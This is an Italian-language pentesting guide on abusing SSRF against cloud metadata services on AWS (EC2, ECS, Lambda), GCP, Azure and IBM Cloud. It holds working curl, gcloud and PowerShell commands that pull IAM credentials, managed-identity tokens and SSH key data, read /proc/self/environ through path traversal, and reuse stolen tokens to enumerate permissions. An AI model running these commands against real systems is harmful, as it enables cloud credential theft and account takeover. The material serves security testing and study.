L'endpoint dei metadati può essere accessibile da qualsiasi macchina EC2 e offre informazioni interessanti su di essa. È accessibile all'url: http://169.254.169.254 (informazioni sui metadati qui).
Ci sono 2 versioni dell'endpoint dei metadati. La prima consente di accedere all'endpoint tramite richieste GET (quindi qualsiasi SSRF può sfruttarlo). Per la versione 2, IMDSv2, è necessario richiedere un token inviando una richiesta PUT con un header HTTP e poi utilizzare quel token per accedere ai metadati con un altro header HTTP (quindi è più complicato da abusare con un SSRF).
Nota che se l'istanza EC2 sta forzando IMDSv2, secondo la documentazione, la risposta della richiesta PUT avrà un limite di hop di 1, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
Inoltre, IMDSv2 bloccherà anche le richieste per ottenere un token che includono l'header X-Forwarded-For. Questo serve a prevenire che proxy inversi mal configurati possano accedervi.
Nota il aws_session_token, questo è indispensabile per il funzionamento del profilo.
PACU può essere utilizzato con le credenziali scoperte per scoprire i tuoi privilegi e cercare di elevarli.
Credenziali SSRF in AWS ECS (Container Service)
ECS è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere un servizio in esecuzione in ECS, i metadata endpoints cambiano.
Se accedi a http://169.254.170.2/v2/credentials/<GUID> troverai le credenziali della macchina ECS. Ma prima devi trovare il <GUID>. Per trovare il <GUID> devi leggere la variabile environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI all'interno della macchina.
Potresti essere in grado di leggerlo sfruttando un Path Traversal a file:///proc/self/environ
L'indirizzo http menzionato dovrebbe darti l'AccessKey, SecretKey e token.
Nota che in alcuni casi sarai in grado di accedere ai metadati dell'istanza EC2 dal contenitore (controlla le limitazioni TTL di IMDSv2 menzionate in precedenza). In questi scenari, dal contenitore potresti accedere sia al ruolo IAM del contenitore che al ruolo IAM dell'EC2.
SSRF per AWS Lambda
In questo caso le credenziali sono memorizzate nelle variabili d'ambiente. Quindi, per accedervi, devi accedere a qualcosa come file:///proc/self/environ.
Il nome delle variabili d'ambiente interessanti è:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Inoltre, oltre alle credenziali IAM, le funzioni Lambda hanno anche dati degli eventi che vengono passati alla funzione quando viene avviata. Questi dati sono resi disponibili alla funzione tramite l'interfaccia di runtime e potrebbero contenere informazionisensibili (come all'interno delle stageVariables). A differenza delle credenziali IAM, questi dati sono accessibili tramite SSRF standard a http://localhost:9001/2018-06-01/runtime/invocation/next.
Nota che le credenziali lambda sono all'interno delle variabili d'ambiente. Quindi, se il traccia dello stack del codice lambda stampa le variabili d'ambiente, è possibile esfiltrarle provocando un errore nell'app.
Per utilizzare il token dell'account di servizio esfiltrato puoi semplicemente fare:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Non deve contenere un'intestazione X-Forwarded-For
Una VM Azure può avere 1 identità gestita dal sistema e diverse identità gestite dall'utente. Questo significa fondamentalmente che puoi impersonare tutte le identità gestite collegate a una VM.
Per default, l'endpoint dei metadati utilizzerà il MI assegnato al sistema (se presente).
Sfortunatamente non sono riuscito a trovare alcun endpoint dei metadati che indichi tutte le MI collegate a una VM.
Pertanto, per trovare tutte le MI collegate puoi fare:
Ottenere identità collegate con az cli (se hai già compromesso un principale nel tenant Azure)
Ottieni identità collegate utilizzando il MI collegato predefinito nei metadati:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Ottieni tutti gli ID gestiti definiti nel tenant e esegui un attacco di forza bruta per vedere se qualcuno di essi è associato alla VM:
azidentitylist
Nei token requests utilizza uno dei parametri object_id, client_id o msi_res_id per indicare l'identità gestita che desideri utilizzare (docs). Se nessuno, verrà utilizzato il MI predefinito.
Dall'env puoi ottenere i valori di IDENTITY_HEADEReIDENTITY_ENDPOINT. Che puoi usare per raccogliere un token per comunicare con il server dei metadati.
La maggior parte delle volte, desideri un token per una di queste risorse:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Nota che in IBM per impostazione predefinita i metadati non sono abilitati, quindi è possibile che tu non possa accedervi anche se sei all'interno di una VM IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
La documentazione per i servizi di metadata di varie piattaforme è delineata di seguito, evidenziando i metodi attraverso i quali è possibile accedere alle informazioni di configurazione e runtime per le istanze. Ogni piattaforma offre endpoint unici per accedere ai propri servizi di metadata.